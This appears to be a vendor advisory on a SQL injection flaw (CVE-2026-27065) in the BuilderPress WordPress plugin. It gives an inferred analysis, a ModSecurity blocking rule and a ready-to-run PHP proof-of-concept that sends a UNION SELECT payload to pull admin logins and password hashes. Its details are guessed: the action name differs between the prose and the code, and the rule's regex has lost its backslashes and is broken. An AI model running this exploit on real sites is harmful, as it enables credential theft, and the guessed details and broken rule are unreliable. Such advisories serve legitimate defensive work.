Atomic Edge analysis of CVE-2026-27065 (metadata-based):
The vulnerability is a critical SQL Injection in the BuilderPress WordPress plugin. It allows unauthenticated attackers to execute arbitrary SQL commands via a specific plugin endpoint. This flaw directly compromises the site’s database.
Atomic Edge research infers the root cause is insufficient input sanitization before SQL query construction. The CVE description confirms the vulnerability exists in a plugin endpoint. Without a code diff, it is inferred that user-supplied parameters are directly concatenated into an SQL statement without proper escaping or the use of prepared statements.
The exploitation method likely targets a public-facing AJAX handler or REST API endpoint. An attacker would send a crafted HTTP POST request to `/wp-admin/admin-ajax.php`. The request would include an `action` parameter with a value like `builderpress_action` and a vulnerable parameter, such as `id`, containing a malicious SQL payload like `1′ UNION SELECT user_login,user_pass FROM wp_users– -`.
Remediation requires implementing proper input validation and using WordPress’s `$wpdb->prepare()` method for all database queries. The plugin must ensure all user input used in SQL statements is properly escaped or parameterized. Code audits should identify all dynamic query constructions.
Successful exploitation leads to full database compromise. Attackers can extract sensitive data including user credentials, inject malicious content, or destroy data. This can facilitate complete site takeover, privilege escalation, and further server-side attacks.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-27065 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202627065,phase:2,deny,status:403,chain,msg:'CVE-2026-27065 via BuilderPress AJAX SQL Injection',severity:'CRITICAL',tag:'CVE-2026-27065',tag:'attack-sqli',tag:'wordpress',tag:'OWASP_CRS/WEB_ATTACK/SQL_INJECTION'"
SecRule ARGS_POST:action "@streq builderpress_get_data" "chain"
SecRule ARGS_POST:id "@rx (?i)(?:b(unions+(all|distinct)?s*select|selects+w+s+froms+w+|sleeps*(|benchmarks*(|pg_sleeps*(|waitfors+delays+')|'s*(?:--|#|/*))"
"setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27065 - BuilderPress SQL Injection
<?php
/**
* Proof of Concept for CVE-2026-27065.
* Assumes the vulnerability is in an unauthenticated AJAX endpoint.
* The exact action name and parameter are inferred from common plugin patterns.
*/
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Craft the malicious payload. This attempts to extract admin username and password hash.
$post_data = array(
'action' => 'builderpress_get_data', // Inferred AJAX action hook
'id' => "1' UNION SELECT user_login,user_pass FROM wp_users WHERE 1=1-- -" // SQLi payload
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing environments only
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Analyze the response
if ($http_code == 200 && !empty($response)) {
echo "[+] Request sent. Analyzing response for SQLi success.n";
echo "[+] Response (first 500 chars): " . substr($response, 0, 500) . "n";
// Look for indicators of successful injection, like database error messages or user data in the output.
if (stripos($response, 'user_login') !== false || stripos($response, 'admin') !== false) {
echo "[!] Potential SQL Injection successful. User data may be present in the response.n";
} elseif (stripos($response, 'SQL syntax') !== false) {
echo "[!] SQL error returned, confirming injectable parameter.n";
}
} else {
echo "[-] Request failed or returned empty. HTTP Code: $http_coden";
}
?>
